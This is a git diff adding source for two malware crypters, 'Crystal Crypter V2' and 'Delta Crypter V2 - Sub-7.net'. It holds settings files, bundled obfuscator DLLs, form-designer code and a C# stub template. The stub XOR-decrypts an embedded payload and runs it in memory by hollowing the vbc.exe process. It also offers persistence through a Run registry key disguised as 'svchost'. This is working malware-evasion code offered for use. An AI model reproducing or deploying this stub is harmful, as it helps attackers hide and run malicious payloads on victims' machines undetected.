Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/My Project/Settings.Designer.vb b/scode (Crystal Crypter [V2]/My Project/Settings.Designer.vb new file mode 100644 index 0000000..0107f8d --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.1 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.WindowsApplication1.My.MySettings + Get + Return Global.WindowsApplication1.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Crystal Crypter [V2]/My Project/Settings.settings b/scode (Crystal Crypter [V2]/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Crystal Crypter [V2]/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Crystal Crypter [V2]/Resources/AG.Configuration.SettingsProviders.dll b/scode (Crystal Crypter [V2]/Resources/AG.Configuration.SettingsProviders.dll new file mode 100644 index 0000000..0465ee4 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/AG.Configuration.SettingsProviders.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/AG.Deployment.Updating.dll b/scode (Crystal Crypter [V2]/Resources/AG.Deployment.Updating.dll new file mode 100644 index 0000000..816fa2d Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/AG.Deployment.Updating.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Installer.dll b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Installer.dll new file mode 100644 index 0000000..6142903 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Installer.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Settings.dll b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Settings.dll new file mode 100644 index 0000000..fcc8253 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Settings.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Updating.dll b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Updating.dll new file mode 100644 index 0000000..c302c68 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/AG.Eazfuscator.NET.Updating.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Castle.Core.dll b/scode (Crystal Crypter [V2]/Resources/Castle.Core.dll new file mode 100644 index 0000000..d037a69 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Castle.Core.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Castle.MicroKernel.dll b/scode (Crystal Crypter [V2]/Resources/Castle.MicroKernel.dll new file mode 100644 index 0000000..0c55b89 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Castle.MicroKernel.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Eazfuscator.NET.exe b/scode (Crystal Crypter [V2]/Resources/Eazfuscator.NET.exe new file mode 100644 index 0000000..2bd8ae2 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Eazfuscator.NET.exe differ diff --git a/scode (Crystal Crypter [V2]/Resources/ICSharpCode.SharpZipLib.dll b/scode (Crystal Crypter [V2]/Resources/ICSharpCode.SharpZipLib.dll new file mode 100644 index 0000000..c076bdb Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/ICSharpCode.SharpZipLib.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataHelper.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataHelper.dll new file mode 100644 index 0000000..dd7d39c Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataHelper.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataModel.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataModel.dll new file mode 100644 index 0000000..c36d5c6 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MetadataModel.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MutableMetadataModel.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MutableMetadataModel.dll new file mode 100644 index 0000000..40da195 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.MutableMetadataModel.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeReader.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeReader.dll new file mode 100644 index 0000000..4c59f74 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeReader.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeWriter.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeWriter.dll new file mode 100644 index 0000000..690eda7 Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.PeWriter.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.SourceModel.dll b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.SourceModel.dll new file mode 100644 index 0000000..783a6cd Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Microsoft.Cci.SourceModel.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/Mono.Cecil.dll b/scode (Crystal Crypter [V2]/Resources/Mono.Cecil.dll new file mode 100644 index 0000000..82372ca Binary files /dev/null and b/scode (Crystal Crypter [V2]/Resources/Mono.Cecil.dll differ diff --git a/scode (Crystal Crypter [V2]/Resources/source.txt b/scode (Crystal Crypter [V2]/Resources/source.txt new file mode 100644 index 0000000..a3ffe1e --- /dev/null +++ b/scode (Crystal Crypter [V2]/Resources/source.txt @@ -0,0 +1,201 @@ + +using System; +using System.Collections; +using System.Collections.Generic; +using Microsoft.Win32; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.IO; +using System.Text; +using System.Windows.Forms; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyTitle("Product")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("MammoTh")] +[assembly: AssemblyProduct("WindowsFormsApplication1")] +[assembly: AssemblyCopyright("Copyright Everything 2011")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: Guid("0f52f99a-a13c-4991-8db9-447ad43f7b02")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] +namespace zazzo +{ +static class adwadw +{ + + public static void Main() + { + + string startz = "startoff"; + string %10% = "msgoff"; + byte[] %4% = %01%(Convert.FromBase64String(%3%), "lolil"); + string %64% = Environment.GetEnvironmentVariable("windir") + @"\Microsoft.Net\Framework\v2.0.50727\vbc.exe"; + + if (startz == "starton") { + Microsoft.Win32.RegistryKey Registry = Microsoft.Win32.Registry.CurrentUser; + Microsoft.Win32.RegistryKey Key = Registry.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); + Key.SetValue("svchost", Application.ExecutablePath, Microsoft.Win32.RegistryValueKind.String); + } + if (%10% == "msgon") { + System.Windows.Forms.MessageBox.Show("msghere","titlehere"); + } + + + cMemoryExecute.Run(%4%, %64%, ""); + + + +} + + + public static byte[] %01%(byte[] message, string password) + { + byte[] passarr = System.Text.Encoding.UTF8.GetBytes(password); + int rand1 = System.Convert.ToInt32(message[message.Length - 1] ^ 112); + byte[] outarr = new byte[message.Length + 1]; + int u1 = System.Convert.ToInt32(0); + for (int i1 = 0; i1 <= message.Length - 1; i1++) + { + outarr[i1] = (byte)((message[i1] ^ rand1) ^ passarr[u1]); + if (u1 == password.Length - 1) + { + u1 = 0; + } + else + { + u1++; + } + } + Array.Resize(ref outarr, message.Length - 2 + 1); + return outarr; + } + + +} + +} + +public static unsafe class cMemoryExecute +{ + /// + /// Runs an EXE (which is loaded in a byte array) in memory. + /// + /// The EXE buffer. + /// Full path of the host process to run the buffer in. + /// Optional command line arguments. + /// + public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments) + { + var IMAGE_SECTION_HEADER = new byte[0x28]; // pish + var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh + var IMAGE_DOS_HEADER = new byte[0x40]; // pidh + var PROCESS_INFO = new int[0x4]; // pi + var CONTEXT = new byte[0x2cc]; // ctx + + byte* pish; + fixed (byte* p = &IMAGE_SECTION_HEADER[0]) + pish = p; + + byte* pinh; + fixed (byte* p = &IMAGE_NT_HEADERS[0]) + pinh = p; + + byte* pidh; + fixed (byte* p = &IMAGE_DOS_HEADER[0]) + pidh = p; + + byte* ctx; + fixed (byte* p = &CONTEXT[0]) + ctx = p; + + // Set the flag. + *(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL; + + // Get the DOS header of the EXE. + Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); + + /* Sanity check: See if we have MZ header. */ + if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE) + return false; + + var e_lfanew = *(int*)(pidh + 0x3c); + + // Get the NT header of the EXE. + Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); + + /* Sanity check: See if we have PE00 header. */ + if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE) + return false; + + // Run with parameters if necessary. + if (!string.IsNullOrEmpty(optionalArguments)) + hostProcess += " " + optionalArguments; + + if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO)) + return false; + + var ImageBase = new IntPtr(*(int*)(pinh + 0x34)); + NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase); + if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero) + Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations) + + fixed (byte* p = &exeBuffer[0]) + NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero); + + for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++) + { + Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length); + fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)]) + NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero); + } + + NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); + NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero); + *(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */); + NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); + NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero); + + return true; + } + + #region WinNT Definitions + + private const uint CONTEXT_FULL = 0x10007; + private const int CREATE_SUSPENDED = 0x4; + private const int MEM_COMMIT = 0x1000; + private const int MEM_RESERVE = 0x2000; + private const int PAGE_EXECUTE_READWRITE = 0x40; + private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ + private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00 + + #region WinAPI + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount); + #endregion + + #endregion +} + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/app.config b/scode (Crystal Crypter [V2]/app.config new file mode 100644 index 0000000..8d4e2b1 --- /dev/null +++ b/scode (Crystal Crypter [V2]/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Delta Crypter/.DS_Store b/scode (Delta Crypter/.DS_Store new file mode 100644 index 0000000..2cabd6b Binary files /dev/null and b/scode (Delta Crypter/.DS_Store differ diff --git a/scode (Delta Crypter/Dissembler LIB.dll b/scode (Delta Crypter/Dissembler LIB.dll new file mode 100644 index 0000000..04bc9d5 Binary files /dev/null and b/scode (Delta Crypter/Dissembler LIB.dll differ diff --git a/scode (Delta Crypter/dpapimig_64.ico b/scode (Delta Crypter/dpapimig_64.ico new file mode 100644 index 0000000..5617938 Binary files /dev/null and b/scode (Delta Crypter/dpapimig_64.ico differ diff --git a/scode (Delta Crypter/s7cry.sln b/scode (Delta Crypter/s7cry.sln new file mode 100644 index 0000000..73e1ef1 --- /dev/null +++ b/scode (Delta Crypter/s7cry.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "s7cry", "s7cry\s7cry.vbproj", "{D5705A26-2FF2-4048-9C63-56E211E9C24F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D5705A26-2FF2-4048-9C63-56E211E9C24F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D5705A26-2FF2-4048-9C63-56E211E9C24F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D5705A26-2FF2-4048-9C63-56E211E9C24F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D5705A26-2FF2-4048-9C63-56E211E9C24F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Delta Crypter/s7cry.v11.suo b/scode (Delta Crypter/s7cry.v11.suo new file mode 100644 index 0000000..adacdab Binary files /dev/null and b/scode (Delta Crypter/s7cry.v11.suo differ diff --git a/scode (Delta Crypter/s7cry.v12.suo b/scode (Delta Crypter/s7cry.v12.suo new file mode 100644 index 0000000..d94f560 Binary files /dev/null and b/scode (Delta Crypter/s7cry.v12.suo differ diff --git a/scode (Delta Crypter/s7cry/App.config b/scode (Delta Crypter/s7cry/App.config new file mode 100644 index 0000000..49c50e0 --- /dev/null +++ b/scode (Delta Crypter/s7cry/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/Form1.Designer.vb b/scode (Delta Crypter/s7cry/Form1.Designer.vb new file mode 100644 index 0000000..0226483 --- /dev/null +++ b/scode (Delta Crypter/s7cry/Form1.Designer.vb @@ -0,0 +1,208 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Timer1 = New System.Windows.Forms.Timer(Me.components) + Me.BitdefenderForm1 = New s7cry.BitdefenderForm() + Me.Label4 = New System.Windows.Forms.Label() + Me.BitdefenderButton4 = New s7cry.BitdefenderButton() + Me.Label3 = New System.Windows.Forms.Label() + Me.BitdefenderButton3 = New s7cry.BitdefenderButton() + Me.Label2 = New System.Windows.Forms.Label() + Me.BitdefenderButton2 = New s7cry.BitdefenderButton() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.BitdefenderButton1 = New s7cry.BitdefenderButton() + Me.BitdefenderSeparator1 = New s7cry.BitdefenderSeparator() + Me.BitdefenderForm1.SuspendLayout() + Me.SuspendLayout() + ' + 'Timer1 + ' + Me.Timer1.Interval = 1000 + ' + 'BitdefenderForm1 + ' + Me.BitdefenderForm1.BackColor = System.Drawing.Color.Fuchsia + Me.BitdefenderForm1.Controls.Add(Me.Label4) + Me.BitdefenderForm1.Controls.Add(Me.BitdefenderButton4) + Me.BitdefenderForm1.Controls.Add(Me.Label3) + Me.BitdefenderForm1.Controls.Add(Me.BitdefenderButton3) + Me.BitdefenderForm1.Controls.Add(Me.Label2) + Me.BitdefenderForm1.Controls.Add(Me.BitdefenderButton2) + Me.BitdefenderForm1.Controls.Add(Me.TextBox1) + Me.BitdefenderForm1.Controls.Add(Me.Label1) + Me.BitdefenderForm1.Controls.Add(Me.BitdefenderButton1) + Me.BitdefenderForm1.Controls.Add(Me.BitdefenderSeparator1) + Me.BitdefenderForm1.DisableControlboxClose = False + Me.BitdefenderForm1.DisableControlboxMax = True + Me.BitdefenderForm1.DisableControlboxMin = False + Me.BitdefenderForm1.Dock = System.Windows.Forms.DockStyle.Fill + Me.BitdefenderForm1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.BitdefenderForm1.Location = New System.Drawing.Point(0, 0) + Me.BitdefenderForm1.Name = "BitdefenderForm1" + Me.BitdefenderForm1.Size = New System.Drawing.Size(654, 206) + Me.BitdefenderForm1.TabIndex = 0 + Me.BitdefenderForm1.Text = "Delta Crypter V2 - Sub-7.net" + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.BackColor = System.Drawing.Color.Transparent + Me.Label4.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label4.ForeColor = System.Drawing.Color.White + Me.Label4.Location = New System.Drawing.Point(91, 95) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(225, 16) + Me.Label4.TabIndex = 9 + Me.Label4.Text = "No icon selected. Default will be used." + ' + 'BitdefenderButton4 + ' + Me.BitdefenderButton4.BackColor = System.Drawing.Color.Transparent + Me.BitdefenderButton4.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.BitdefenderButton4.Location = New System.Drawing.Point(585, 85) + Me.BitdefenderButton4.Name = "BitdefenderButton4" + Me.BitdefenderButton4.Size = New System.Drawing.Size(49, 36) + Me.BitdefenderButton4.TabIndex = 8 + Me.BitdefenderButton4.Text = "..." + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.BackColor = System.Drawing.Color.Transparent + Me.Label3.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label3.ForeColor = System.Drawing.Color.White + Me.Label3.Location = New System.Drawing.Point(40, 95) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(37, 16) + Me.Label3.TabIndex = 7 + Me.Label3.Text = "Icon:" + ' + 'BitdefenderButton3 + ' + Me.BitdefenderButton3.BackColor = System.Drawing.Color.Transparent + Me.BitdefenderButton3.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.BitdefenderButton3.Location = New System.Drawing.Point(22, 137) + Me.BitdefenderButton3.Name = "BitdefenderButton3" + Me.BitdefenderButton3.Size = New System.Drawing.Size(89, 36) + Me.BitdefenderButton3.TabIndex = 6 + Me.BitdefenderButton3.Text = "About" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label2.ForeColor = System.Drawing.Color.White + Me.Label2.Location = New System.Drawing.Point(120, 147) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(236, 16) + Me.Label2.TabIndex = 5 + Me.Label2.Text = "Status: Waiting for you to select a file..." + ' + 'BitdefenderButton2 + ' + Me.BitdefenderButton2.BackColor = System.Drawing.Color.Transparent + Me.BitdefenderButton2.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.BitdefenderButton2.Location = New System.Drawing.Point(585, 52) + Me.BitdefenderButton2.Name = "BitdefenderButton2" + Me.BitdefenderButton2.Size = New System.Drawing.Size(49, 36) + Me.BitdefenderButton2.TabIndex = 4 + Me.BitdefenderButton2.Text = "..." + ' + 'TextBox1 + ' + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam + Me.TextBox1.Location = New System.Drawing.Point(94, 60) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(485, 21) + Me.TextBox1.TabIndex = 3 + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(40, 62) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(33, 16) + Me.Label1.TabIndex = 2 + Me.Label1.Text = "File:" + ' + 'BitdefenderButton1 + ' + Me.BitdefenderButton1.BackColor = System.Drawing.Color.Transparent + Me.BitdefenderButton1.Font = New System.Drawing.Font("Tahoma", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.BitdefenderButton1.Location = New System.Drawing.Point(545, 137) + Me.BitdefenderButton1.Name = "BitdefenderButton1" + Me.BitdefenderButton1.Size = New System.Drawing.Size(89, 36) + Me.BitdefenderButton1.TabIndex = 1 + Me.BitdefenderButton1.Text = "Crpyt" + ' + 'BitdefenderSeparator1 + ' + Me.BitdefenderSeparator1.BackColor = System.Drawing.Color.Transparent + Me.BitdefenderSeparator1.Location = New System.Drawing.Point(45, 131) + Me.BitdefenderSeparator1.Name = "BitdefenderSeparator1" + Me.BitdefenderSeparator1.Size = New System.Drawing.Size(568, 10) + Me.BitdefenderSeparator1.TabIndex = 0 + Me.BitdefenderSeparator1.Text = "BitdefenderSeparator1" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(654, 206) + Me.Controls.Add(Me.BitdefenderForm1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Delta Cryptor V2 - Sub-7.net" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.BitdefenderForm1.ResumeLayout(false) + Me.BitdefenderForm1.PerformLayout + Me.ResumeLayout(false) + +End Sub + Friend WithEvents BitdefenderForm1 As s7cry.BitdefenderForm + Friend WithEvents BitdefenderSeparator1 As s7cry.BitdefenderSeparator + Friend WithEvents BitdefenderButton1 As s7cry.BitdefenderButton + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents BitdefenderButton2 As s7cry.BitdefenderButton + Friend WithEvents BitdefenderButton3 As s7cry.BitdefenderButton + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents BitdefenderButton4 As s7cry.BitdefenderButton + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Timer1 As System.Windows.Forms.Timer + +End Class diff --git a/scode (Delta Crypter/s7cry/Form1.resx b/scode (Delta Crypter/s7cry/Form1.resx new file mode 100644 index 0000000..e5c0540 --- /dev/null +++ b/scode (Delta Crypter/s7cry/Form1.resx @@ -0,0 +1,949 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAoAMDAQAAEABABoBgAApgAAACAgEAABAAQA6AIAAA4HAAAQEBAAAQAEACgBAAD2CQAAMDAAAAEA + CACoDgAAHgsAACAgAAABAAgAqAgAAMYZAAAQEAAAAQAIAGgFAABuIgAAAAAAAAEAIACkXQAA1icAADAw + AAABACAAqCUAAHqFAAAgIAAAAQAgAKgQAAAiqwAAEBAAAAEAIABoBAAAyrsAACgAAAAwAAAAYAAAAAEA + BAAAAAAAgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDA + wAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe4cAAAAAAA + AAAAAAAAAAAAAAAAAAAAADe5MAAAAAAAAAAAAAAAAAAAAAAAAAAAA7W3lwAAAAAAAAAAAAAAAAAAAAAA + AAAAB7W5NwAAAAAAAAAAAAAAAAAAAAAAAAAACbW4gAAAAAAAAAAAAAAAAAAAAAAAAAAAA3mLUAAAAAAA + AAAAAAAAAAAAAAAAAAAACbe3cAAAAAAAAAAAAAAAAAAAAAAAAAAAB7e5dwAAAAAAAAAAAAAAAAAAAAAA + AAAAA4mLtwAAAAAAAAAAAAAAAAAAAAAAAAAACbe3gAAAAAAAAAAAAAAAAAAAAAAAAAAAA4OJcAAAAAAA + 